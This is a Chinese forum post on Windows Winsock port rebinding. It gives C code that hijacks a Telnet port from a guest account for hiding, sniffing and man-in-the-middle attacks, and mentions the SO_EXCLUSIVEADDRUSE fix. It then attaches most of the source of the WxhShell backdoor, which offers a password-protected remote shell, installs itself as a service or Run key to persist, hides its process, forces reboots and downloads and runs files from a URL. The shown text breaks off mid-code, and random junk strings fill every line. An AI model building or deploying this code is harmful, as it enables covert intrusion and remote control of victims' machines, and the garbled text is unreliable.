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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &xGdKH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 86#l$QaK{  
LnR>!0:c  
  saddr.sin_family = AF_INET; WwmYJl0  
'm<Lx _i  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); zs=3e~o3  
0cm34\*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); IMM;LC%rD9  
#|9W9\f,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n|5\Q  
Y3 $jNuV  
  这意味着什么?意味着可以进行如下的攻击: D||0c"E  
LOUP  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n Bm ]?  
[F<E0rjwM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (]@S<0  
a>j}@8[J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]B/> =t"E  
_H$Lu4b)N  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  u^MKqI  
J3yK^@&&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e#[Klh$]EW  
s^u  Y   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "7cty\  
-XYvjW,|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 hQ#e;1uD  
j\C6k  
  #include $>)0t@[f  
  #include M5#wz0  
  #include +Tum K.  
  #include    oN032o?S  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ZSf &M  
  int main() ^50dF:V(1  
  { TFXBN.?9T  
  WORD wVersionRequested; x/,;:S  
  DWORD ret; 12 p`ZD=  
  WSADATA wsaData; \HGf!zZ  
  BOOL val; R+LKa Z  
  SOCKADDR_IN saddr; dN2JOyS  
  SOCKADDR_IN scaddr; NK|UeL7ght  
  int err; +&.zwniSS  
  SOCKET s; 15ailA&(Qm  
  SOCKET sc; fRS;6Jc  
  int caddsize; C m[}DB  
  HANDLE mt; e:O,$R#g  
  DWORD tid;   3)G~ud  
  wVersionRequested = MAKEWORD( 2, 2 ); wfo,r 7  
  err = WSAStartup( wVersionRequested, &wsaData ); 3d}v?q78  
  if ( err != 0 ) { NQ{(G8x9  
  printf("error!WSAStartup failed!\n"); F`g(vD >  
  return -1; H07\z1?.K  
  } =MNp;  
  saddr.sin_family = AF_INET; yGR{-YwU!  
   wR%Ta-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3aW<FSgP  
ImN'o4vo  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); FGDVBUY@  
  saddr.sin_port = htons(23); aAjl 58  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;UQza ]i  
  { `Gio 2gl9  
  printf("error!socket failed!\n"); H<d~AurX)J  
  return -1; 7d;|?R-8D  
  } m. pm,  
  val = TRUE; P&0eu  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 dlYpbw}W&<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) AE rPd)yk0  
  { =|oi0  
  printf("error!setsockopt failed!\n"); `2Pa{g- .  
  return -1; BqNsW (+  
  } v@qP &4Sp  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !!C/($  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8}|et~7!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P%2v(  
qFmw9\Fn  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Im;%.J  
  { X%yG{\6:  
  ret=GetLastError(); :[CV_ME.;  
  printf("error!bind failed!\n"); }$_@yt<{W@  
  return -1; 8?Zhh.  
  } 9xR5Jm>k  
  listen(s,2); wQSan&81Q  
  while(1) <- \|>r Q  
  { ;wwc;wQ'  
  caddsize = sizeof(scaddr); c!IZLaVAr9  
  //接受连接请求 A-!e$yz>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {s8c@-'  
  if(sc!=INVALID_SOCKET) w;lpJ B\  
  { /h>g-zb  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z:\9t[e4  
  if(mt==NULL) p@jw)xI  
  { ed6@o4D/kf  
  printf("Thread Creat Failed!\n"); re*}a)iL  
  break; =Dn <DV  
  } !Se0&Ob  
  } %#2$B+  
  CloseHandle(mt); 03~ ADj  
  } RqA>"[L  
  closesocket(s); JLu$1A@ '  
  WSACleanup(); rqjq}L)  
  return 0; g<Z :`00|  
  }   R /=rNUe  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ll]5u~  
  { CXq[VYM&X  
  SOCKET ss = (SOCKET)lpParam; 81Z;hO"~  
  SOCKET sc; f"s_dR  
  unsigned char buf[4096]; *L^W[o  
  SOCKADDR_IN saddr; L$5,RUy  
  long num; 6q^$}eOt  
  DWORD val; A|ZT ;\  
  DWORD ret; JX&U?Z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 WFF?VBT'^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   JV~ Dly>  
  saddr.sin_family = AF_INET; )Q1>j 2 &  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <Z^by;d|z  
  saddr.sin_port = htons(23); |0[Buh[_:c  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~$y"Ldrp  
  { QP\9#D~  
  printf("error!socket failed!\n"); 3X gJZ  
  return -1; .I^4Fc}&4  
  } BgXZr,?  
  val = 100; LhL |ETrJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &l+Qn'N  
  { l|.}>SfL^u  
  ret = GetLastError(); UyRy>:n  
  return -1; lsax.uG5x  
  } CzBYH   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  ;+~5XLk  
  { .`IhxE~mN  
  ret = GetLastError(); Em!- W5*s  
  return -1; ZVXPp -M  
  } :SaZhY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z"4 q%DC  
  { 5Cdn j  
  printf("error!socket connect failed!\n"); ]o'o v  
  closesocket(sc); &GLDoLk6[  
  closesocket(ss); MG=E 6:  
  return -1; w'TAM"D`  
  } :|bL2T@>[  
  while(1) vm@V5oH  
  { ) ^ En  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rD}g9?ut  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T 6D+@i  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 boojq{cvYA  
  num = recv(ss,buf,4096,0); 3H,x4L5j  
  if(num>0) `Abd=1nH  
  send(sc,buf,num,0); LGhK)]:  
  else if(num==0) x'L=p01  
  break; cM%?Ot,mK"  
  num = recv(sc,buf,4096,0); k7U.]#5V  
  if(num>0) *tv&=  
  send(ss,buf,num,0); K+~?yOQj  
  else if(num==0) FxlH;'+Q  
  break; /NQrE#pb  
  } We y*\@  
  closesocket(ss); RsDSsux  
  closesocket(sc); nVs@DH  
  return 0 ; ~|"Vl<9  
  } Q^ W,)%  
DzR,ou  
! yJ0A m>  
========================================================== ,8384'  
RL` jaS?V  
下边附上一个代码,,WXhSHELL y7+@ v'  
5M=U*BI  
========================================================== DQ8/]Z{H  
0h1u W26^  
#include "stdafx.h" Y*BmBRN  
Jh.~]\u  
#include <stdio.h> k@7#8(3  
#include <string.h> w>B}w  
#include <windows.h> 2q[pOT'k  
#include <winsock2.h> E7O3$B8  
#include <winsvc.h> Gor 9 &aJ1  
#include <urlmon.h> $2W#'_K+  
syr0|K[  
#pragma comment (lib, "Ws2_32.lib") k' 8q /]  
#pragma comment (lib, "urlmon.lib") SA'g`  
ug,AvHEnB  
#define MAX_USER   100 // 最大客户端连接数 f(y+1  
#define BUF_SOCK   200 // sock buffer [0Xuo  
#define KEY_BUFF   255 // 输入 buffer GFT@Pqq  
_S) K+C|@  
#define REBOOT     0   // 重启 frcX'M}%  
#define SHUTDOWN   1   // 关机 /%cDX:7X  
*Hx*s_F  
#define DEF_PORT   5000 // 监听端口 FF#Aq  
IFBt#]l0  
#define REG_LEN     16   // 注册表键长度 (wL$ h5SG  
#define SVC_LEN     80   // NT服务名长度 u0#KBXRo  
( K[e=0Rf  
// 从dll定义API eZ:iW#YF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u43Mo\"<&%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ct'tUF<K5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n>)aw4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &vmk!wAs  
:? )!yI  
// wxhshell配置信息 Un8' P8C  
struct WSCFG { (EcP'F*;;y  
  int ws_port;         // 监听端口 pT=^o  
  char ws_passstr[REG_LEN]; // 口令 [.>=> KJ_  
  int ws_autoins;       // 安装标记, 1=yes 0=no 79 4UY  
  char ws_regname[REG_LEN]; // 注册表键名 K1X-<5]{  
  char ws_svcname[REG_LEN]; // 服务名 N&G'i.w/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D zD5n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .iV=ybMT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -o~zb-E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J3y _JoS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uNI&U7_"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $Z;8@O3  
;>2-  
}; koT3~FK  
o<A-ETx<  
// default Wxhshell configuration _1?uAQ3,  
struct WSCFG wscfg={DEF_PORT, 29grbP  
    "xuhuanlingzhe", HKbV@NW  
    1, R'Ue>k  
    "Wxhshell", KAZ<w~55c  
    "Wxhshell", :uAL(3pQ  
            "WxhShell Service", (^W}uDPCB  
    "Wrsky Windows CmdShell Service", cS Lj\'`b  
    "Please Input Your Password: ", U~=?I)Ni  
  1, 2W0nA t  
  "http://www.wrsky.com/wxhshell.exe", hbYstK;]Z  
  "Wxhshell.exe" Mo@{1K/9  
    }; hYyIC:PXR  
K3vZ42n  
// 消息定义模块 [G brKq(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; / xv5we~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1 K}gX>F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~Q=;L>Qd  
char *msg_ws_ext="\n\rExit."; 1$DcE>  
char *msg_ws_end="\n\rQuit."; oC" [rn  
char *msg_ws_boot="\n\rReboot..."; {$EX :ID  
char *msg_ws_poff="\n\rShutdown..."; s2L]H  
char *msg_ws_down="\n\rSave to "; 5 v.&|[\k  
 pF6u3]  
char *msg_ws_err="\n\rErr!"; o;wSG81  
char *msg_ws_ok="\n\rOK!"; o.r D  
l'm|**  
char ExeFile[MAX_PATH]; ~H#c-B  
int nUser = 0; |};d:LwX  
HANDLE handles[MAX_USER]; #qVvh3#g  
int OsIsNt; w &YUb,{Y  
?J6Ek*E#  
SERVICE_STATUS       serviceStatus; .}F 39TS2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]N}/L lq  
P 4)Q5r  
// 函数声明 gm5%X'XL  
int Install(void); ,>#\aO1n  
int Uninstall(void); o,j_eheAM  
int DownloadFile(char *sURL, SOCKET wsh); 4w|t|?  
int Boot(int flag); 2wO8;wiA  
void HideProc(void); Wj3i*x$  
int GetOsVer(void); [[_>D M  
int Wxhshell(SOCKET wsl); Z[[*:9rY|  
void TalkWithClient(void *cs); '9]?jkl  
int CmdShell(SOCKET sock); b,:^\HKC  
int StartFromService(void); VS4Glx73  
int StartWxhshell(LPSTR lpCmdLine); .qe+"$K'n  
3VU4E|s>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #:=c)[G8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IJ+}  
9Znc|<  
// 数据结构和表定义 b`%u}^B {  
SERVICE_TABLE_ENTRY DispatchTable[] = < - sr&  
{ Zl%)#=kO  
{wscfg.ws_svcname, NTServiceMain}, V %[t'uh  
{NULL, NULL} fqbWD)L]  
}; 0X99D2c  
jSBz),.XU}  
// 自我安装 { #B/4  
int Install(void) prM)t8SE  
{ \aPH_sf,  
  char svExeFile[MAX_PATH]; A%EhRAy  
  HKEY key; ,y"vf^BE.  
  strcpy(svExeFile,ExeFile); +EA ")T<l  
F%zMhX'AG  
// 如果是win9x系统,修改注册表设为自启动 [,st: Y  
if(!OsIsNt) { 3W ]zLUn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uN?Lz1W\;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @rqmDpU  
  RegCloseKey(key); #Qg)4[pMJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hc$m1lLn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B}NJs,'FJ  
  RegCloseKey(key); ga KZ4#  
  return 0; k"7ZA>5jk  
    } CUTjRWQ  
  } M'|[:I.V  
} 8MW-JZ  
else { 5o{U$  
dVq9'{[3  
// 如果是NT以上系统,安装为系统服务 Jo qhmn$j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )Dms9:  
if (schSCManager!=0) KiMlbF.~V  
{ *eD[[HbKX  
  SC_HANDLE schService = CreateService  [A,!3BN  
  ( /qKor;x  
  schSCManager, VPYcA>-%u  
  wscfg.ws_svcname, gCYe ^KJ  
  wscfg.ws_svcdisp, |H8C4^1Rq  
  SERVICE_ALL_ACCESS, Uun0FCA>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (MqQ3ys  
  SERVICE_AUTO_START, KBi(Ns#+  
  SERVICE_ERROR_NORMAL, u*qI$?&  
  svExeFile, 7H6Ge-u  
  NULL, <:(;#&<  
  NULL, d|87;;X|u  
  NULL, VJA/d2Oys  
  NULL, AEf[:]i]  
  NULL l' Li!u  
  ); ' rXf  
  if (schService!=0) f3vl=EA4|  
  { z+M{z r  
  CloseServiceHandle(schService); l`6.(6  
  CloseServiceHandle(schSCManager); 5`}za-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O)R}|  
  strcat(svExeFile,wscfg.ws_svcname); Y]~-S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;j~%11  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +p _?ekV\  
  RegCloseKey(key); EBWM8~Nm#  
  return 0; _8SB+s*  
    } ]) v61B  
  } IrRe6nf@K  
  CloseServiceHandle(schSCManager); F `F|.TX  
} Y1AZ%{^0a  
} 7uUq+dp  
AW_YlS  
return 1; z<P?p  
} OP=oSfa  
T6?03cSE  
// 自我卸载 #CJ ET  
int Uninstall(void) [T'[7 Z  
{ c#?~1@=  
  HKEY key; 1H%p|'FKA  
1bz^$2/k  
if(!OsIsNt) { 55`p~:&VQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (,mV6U%  
  RegDeleteValue(key,wscfg.ws_regname); u"T9w]Z\  
  RegCloseKey(key); <tO@dI$~>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1DU l<&4  
  RegDeleteValue(key,wscfg.ws_regname); um<$L  
  RegCloseKey(key); `X ()"Qw  
  return 0; 'b[O-6v  
  } q$H@W. f  
} AL&<SxuP  
} eC 2~&:$L  
else { sAjUX.c  
lpB:lRM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GaJE(N  
if (schSCManager!=0) VqD_FS;E  
{ ]4')H;'y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RV]QVA*i  
  if (schService!=0) U![$7k>,pr  
  { Dbx zqd  
  if(DeleteService(schService)!=0) { n0K+/}m  
  CloseServiceHandle(schService); J_XkQR[Y  
  CloseServiceHandle(schSCManager); B1I{@\z0G  
  return 0; @yQ1F> t  
  } xU{0rM"  
  CloseServiceHandle(schService); dB&<P[$+8  
  } U0|bKU  
  CloseServiceHandle(schSCManager); #PC*l\ )  
} ())_4 <  
} !Dc;R+Ir0!  
I"8Z'<|/\q  
return 1; ~rq:I<5  
} Xmb##:  
Jp8,s%  
// 从指定url下载文件 I@Y k &aU  
int DownloadFile(char *sURL, SOCKET wsh) B"88 .U}$  
{ V'za,.d-  
  HRESULT hr; xrlyph5mE  
char seps[]= "/"; (Xz q(QV  
char *token; 9)[)0 7  
char *file; .W9 *-  
char myURL[MAX_PATH]; P uQ  
char myFILE[MAX_PATH]; U5F1m]gFr  
9N2.:<so  
strcpy(myURL,sURL); < uV@/fn<  
  token=strtok(myURL,seps); eH*i_g'  
  while(token!=NULL) 3qV~C{ S  
  { "WPWMQ+  
    file=token;  YO fYa  
  token=strtok(NULL,seps); "*c&[ALw  
  } RZ9_*Lq7+  
YXF^4||j.c  
GetCurrentDirectory(MAX_PATH,myFILE); y+7+({w<  
strcat(myFILE, "\\"); R +U*]5~R  
strcat(myFILE, file); U(~Nmo'  
  send(wsh,myFILE,strlen(myFILE),0); *y+K{ fM1  
send(wsh,"...",3,0); ignOF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^4[QX -_2  
  if(hr==S_OK) $j!:ET'V  
return 0; 2]x,joB  
else Mx 3fT>?  
return 1; U`{ M1@$  
\f]w'qiW5  
} nkN2Bqt$  
C(KV5c  
// 系统电源模块 b ts*qx&)  
int Boot(int flag) ;?-{Uk  
{ z,!A4ws  
  HANDLE hToken; )wEXCXr!  
  TOKEN_PRIVILEGES tkp; IG%x(\V-e  
@te}Asv  
  if(OsIsNt) { )"00fZL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;ae6h [  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 20A:,pMb  
    tkp.PrivilegeCount = 1; <BdC#t:*L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t?;=\%^<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !l9 #a{#6l  
if(flag==REBOOT) { S!iDPl~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -H 5-6w$  
  return 0; <rU+{&FKNL  
} ((BdT:T\_  
else { 1bCS4fs^>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i-sm9K'ns  
  return 0; #yCnM]cEn  
} wA87|YK8*  
  } `y1,VY  
  else { (+TL ]9P  
if(flag==REBOOT) { Wl,I%<&j}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g(F2IpUm/  
  return 0; 1-G-p:|  
} uBaGOW|Pl  
else { grDz7\i:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z-nV!#  
  return 0; En8L1$_  
} JgldC[|7  
} +J !1z  
A<[w'"  
return 1; <.@w%rvG  
} Sh<A936/E  
(B].ppBii  
// win9x进程隐藏模块 hLyV'*}  
void HideProc(void) <9Ytv|t@0  
{ L\t!)X-4  
4DGKZh'm"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \JF 2'm\M  
  if ( hKernel != NULL ) ><)fK5x  
  { ?bG82@-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j2#B l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bWB&8&p  
    FreeLibrary(hKernel); 49B6|!&I  
  } tkdyR1-  
uF T5Z  
return; c+<gc:#jy  
} _b[Pk;8}j;  
(=s%>lW|  
// 获取操作系统版本 u z:@  
int GetOsVer(void) )Mw 3ZE92  
{ 7$:Jea  
  OSVERSIONINFO winfo; MV?sr[V-oP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +AOpB L'  
  GetVersionEx(&winfo); <)gTi759h)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e/IVZmUn^  
  return 1; 2-wgbC5  
  else Sr6?^>A@t  
  return 0; bB.Yq3KI  
} DJH,#re>  
u$1^=  
// 客户端句柄模块 jTok1k  
int Wxhshell(SOCKET wsl) \Xg`@JrTM  
{ ;;zd/n2b  
  SOCKET wsh; rGSi !q  
  struct sockaddr_in client; #Xun>0  
  DWORD myID; !p 70g0+  
A) TO<dl  
  while(nUser<MAX_USER) }ev+WIERQV  
{ (/J %Huy  
  int nSize=sizeof(client); 9OM&&Ue<E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X^. ~f+d~  
  if(wsh==INVALID_SOCKET) return 1; V}t8H  
J2$ =H1-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R!_1*H$  
if(handles[nUser]==0) 1++Fs  
  closesocket(wsh); atfK?VK#  
else \ id(P3M  
  nUser++; FVoKNaK-  
  } +L}R|ihkI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G#z9=NF~V  
hhr>nuA  
  return 0; Um I,?p  
} ;DI"9  
] iiB|xT  
// 关闭 socket wafws*b%  
void CloseIt(SOCKET wsh) `>{S?t<  
{ yTU'voE.|  
closesocket(wsh); SQf.R%cg$  
nUser--; a~`,zQ -@  
ExitThread(0); %A;s 3 ]V  
} 259:@bi!y  
7Y*Q)DDy  
// 客户端请求句柄 @XX7ydG5  
void TalkWithClient(void *cs) d>1#|  
{ 7e<\11uI]a  
; HjT  
  SOCKET wsh=(SOCKET)cs; <+; cgF!+  
  char pwd[SVC_LEN]; -<q@0IYyi  
  char cmd[KEY_BUFF]; =&;}#A%m  
char chr[1]; T`|>oX  
int i,j; is=|rY9$  
)yv~wi  
  while (nUser < MAX_USER) { >4AwjS }H  
coc :$Sr%  
if(wscfg.ws_passstr) { P, SI0$Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  1O@ cev;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hHqsI`7c  
  //ZeroMemory(pwd,KEY_BUFF); ~=pyA#VVJ"  
      i=0; Bd*\|M  
  while(i<SVC_LEN) { Fk&A2C}$b  
hUMFfc ?  
  // 设置超时 [$%0[;jtS  
  fd_set FdRead; DBzF\-  
  struct timeval TimeOut; ZZF\;  
  FD_ZERO(&FdRead); 0Ewt >~n  
  FD_SET(wsh,&FdRead); [ r=U-  
  TimeOut.tv_sec=8; * uZ'MS  
  TimeOut.tv_usec=0; lyrwm{&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M% FKg/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m}fY5r<<;/  
t)*A#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {]:B80I;2  
  pwd=chr[0]; ^]?Yd)v  
  if(chr[0]==0xd || chr[0]==0xa) { kZvh<NFh_  
  pwd=0; J~rjI24  
  break; #+PfrS=  
  } |0a GX]Y  
  i++; .1?7)k v  
    } `v$Bib)  
{c:ef@'U  
  // 如果是非法用户,关闭 socket I}7= \S/@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wi-{&  
} qt#4i.Iu+  
%p.hwgvnp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O7tL,)Vv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nx4X1j?-n  
[$(/H;  
while(1) { >CPoeIHK  
Pr^p ^s  
  ZeroMemory(cmd,KEY_BUFF); 3+# "4O  
p4{3H+y  
      // 自动支持客户端 telnet标准   'O]Ja-  
  j=0; 6dX l ny1H  
  while(j<KEY_BUFF) { h2Jdcr#@FF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DYvg^b  
  cmd[j]=chr[0]; 4xNzhnp|  
  if(chr[0]==0xa || chr[0]==0xd) { O\qY? )  
  cmd[j]=0; <\5Y~!)  
  break; \%:]o-+"I  
  } >iB-gj}>X  
  j++; )v?-[ oR  
    } TANt*r7  
X~Vr}  
  // 下载文件 $8,/[V A  
  if(strstr(cmd,"http://")) { 'P?DZE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fTc ,"{  
  if(DownloadFile(cmd,wsh)) H) &pay  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z8Il3b*)  
  else T~'9p`IW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vdN0YCXG  
  } wC[Bh^]  
  else { hFWK^]~ a  
Lg4I6 G  
    switch(cmd[0]) { BHBMMjY5  
  Z ]WA-Q6n  
  // 帮助 9ApGn!`  
  case '?': { E$8 4c+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /!Kl  
    break; yD9<-B<)  
  } P&@[ j0  
  // 安装 ew cgg  
  case 'i': { kaj6C_k|  
    if(Install()) ';bovh@*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZM%z"hO9R  
    else ,0Y5O?pu\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RDu'N  
    break; m}3POl/*j  
    } B>&eciY  
  // 卸载 .8%mi'0ud  
  case 'r': { )vFZl]  
    if(Uninstall()) (e;9 ,~u)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P>t[35/1  
    else U)N_/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tse Pdkk  
    break; Wd_cNR\  
    } ly] n2RK  
  // 显示 wxhshell 所在路径 rpT{0 >5  
  case 'p': { UMJ>6 Ko8  
    char svExeFile[MAX_PATH]; <KDl2>O  
    strcpy(svExeFile,"\n\r"); 7+I2" Hy  
      strcat(svExeFile,ExeFile); {E~ MqrX  
        send(wsh,svExeFile,strlen(svExeFile),0); pQ Y.MZSA  
    break; }3Y3f).ZW  
    } ?=uw0~O[  
  // 重启 z!I(B^)BkT  
  case 'b': { 5Y8/ZW~D0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R]Q4+  
    if(Boot(REBOOT)) 5PQs1B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Jx,.|Bf  
    else { E*Q><UU  
    closesocket(wsh); zoV-@<Eh  
    ExitThread(0); jF\J+:5M  
    } I!;#Nk>  
    break; ,e ~@  
    } yv<0fQ  
  // 关机  o2ndnIL  
  case 'd': {  -'|pt,)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :>[;XT<  
